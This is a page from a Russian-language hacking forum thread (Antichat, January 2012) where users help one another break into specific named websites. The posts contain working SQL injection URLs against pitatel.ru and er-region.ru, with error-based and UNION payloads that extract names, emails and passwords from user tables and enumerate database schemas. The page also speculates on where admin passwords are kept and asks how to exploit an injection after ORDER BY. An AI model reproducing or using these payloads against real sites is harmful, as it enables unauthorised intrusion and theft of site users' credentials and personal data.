HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1907 из 2438 « Первая < 9071407180718571897 1903 1904 1905 1906 1907 1908 1909 1910 1911 1917195720072407 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #19061  
Старый 01.01.2012, 23:26
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от qaz  
Почему ничего не выводит? пропадает вывод об ошибке и показывает нормально страницу
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.pitatel.ru/pclass.php?id=19+or+1+group+by+concat((select+concat_ws(0x3a,name,email,password)+from+batterika_mysql.p_users+limit+1,1),0x00,floor(rand(0)*2))having+min(0)+or+1--+[/COLOR][/COLOR] 
http://www.pitatel.ru/pclass.php?id=19+and+0+union+select+1,2,3,4,count( 0),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23+from+batterika_mysql.p_users--+

таблица пуста
 
Ответить с цитированием

  #19062  
Старый 01.01.2012, 23:50
qaz
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами: 8334326

Репутация: 75


По умолчанию
Цитата:
Сообщение от Konqi  
http://www.pitatel.ru/pclass.php?id=19+and+0+union+select+1,2,3,4,count( 0),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23+from+batterika_mysql.p_users--+
таблица пуста
ППц

если таблици test:jos_users и test:bak_users тоже пустые, ге тогда хранятся данные о юзерах???
 
Ответить с цитированием

  #19063  
Старый 01.01.2012, 23:56
aydin-ka
Новичок
Регистрация: 03.05.2009
Сообщений: 7
С нами: 8960082

Репутация: -14
По умолчанию
Цитата:
Сообщение от qaz  
ППц
если таблици test:jos_users и test:bak_users тоже пустые, ге тогда хранятся данные о юзерах???
Обязательно они там должны быть? может это админ такой хитрый.

P.S: а сам редактирует сайт через cpanel (я так думаю)
 
Ответить с цитированием

  #19064  
Старый 01.01.2012, 23:59
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами: 7604246

Репутация: 267


По умолчанию
Цитата:
Сообщение от qaz  
ППц
если таблици test:jos_users и test:bak_users тоже пустые, ге тогда хранятся данные о юзерах???
Возможно пароль админа хранится в config.php/admin.php/settings.php/etc. Как вариант, возможно, что скрипты для авторизации/регистрации подключены к другой БД. Вообщем сейчас посмотрю...

UPD. Смотрим админку

http://www.pitatel.ru/admin/

Код:
Access denied for user 'batterika'@'localhost' (using password: NO)
Нет коннекта. Смотрим текст:

Код:
C 14 июля 2011 года компания Pitatel вошла в группу компаний "Баттерика"!
Соответственно, сайт заброшен. БД с пассами админки не подключена...
 
Ответить с цитированием

  #19065  
Старый 02.01.2012, 00:00
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от qaz  
ППц
если таблици test:jos_users и test:bak_users тоже пустые, ге тогда хранятся данные о юзерах???
table_rows в помощь
 
Ответить с цитированием

  #19066  
Старый 02.01.2012, 22:12
smirk
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами: 7725206

Репутация: 26
По умолчанию
http://er-region.ru/about/department/index.php?id=139+and+1=2+union+select+1,2,3,4,5--+

я так понял, тут нет прямого вывода?
 
Ответить с цитированием

  #19067  
Старый 02.01.2012, 22:29
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами: 7604246

Репутация: 267


По умолчанию
Цитата:
Сообщение от smirk  
http://er-region.ru/about/department/index.php?id=139+and+1=2+union+select+1,2,3,4,5--+
я так понял, тут нет прямого вывода?
Код:
http://er-region.ru/about/department/index.php?id=13999999999999.9+and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+f
Все выводится через error-based. Смотрим исходник:

Код:
[Duplicate entry 'COLLATIONS1' for key 'group_key']
---
 
Ответить с цитированием

  #19068  
Старый 03.01.2012, 11:01
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
С нами: 10409033

Репутация: 3
По умолчанию
иньекция в запросе вида

SELECT * FROM `users` WHERE `news_id` = 123 ORDER BY `news_date` [INJECTION]

есть у кого идеи как ее можно раскрутить?

метод что описан в https://forum.antichat.net/thread43966.html не подходит т.к. там иньекция в ORDER BY [INJECTION], в моем случае параметр уже задан...
 
Ответить с цитированием

  #19069  
Старый 03.01.2012, 11:15
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами: 7604246

Репутация: 267


По умолчанию
Цитата:
Сообщение от [R  
eD"]
[R]eD said:
иньекция в запросе вида
SELECT * FROM `users` WHERE `news_id` = 123 ORDER BY `news_date` [INJECTION]
есть у кого идеи как ее можно раскрутить?
метод что описан в https://forum.antichat.net/thread43966.html не подходит т.к. там иньекция в ORDER BY [INJECTION], в моем случае параметр уже задан...
Error-based, не?
 
Ответить с цитированием

  #19070  
Старый 03.01.2012, 11:26
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
С нами: 10409033

Репутация: 3
По умолчанию
Цитата:
Сообщение от Ereee  
Error-based, не?
вывод ошибок да, там есть, но иньекция ведь в последних параметрах как там такое провести?
 
Ответить с цитированием
Ответ
Страница 1907 из 2438 « Первая < 9071407180718571897 1903 1904 1905 1906 1907 1908 1909 1910 1911 1917195720072407 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.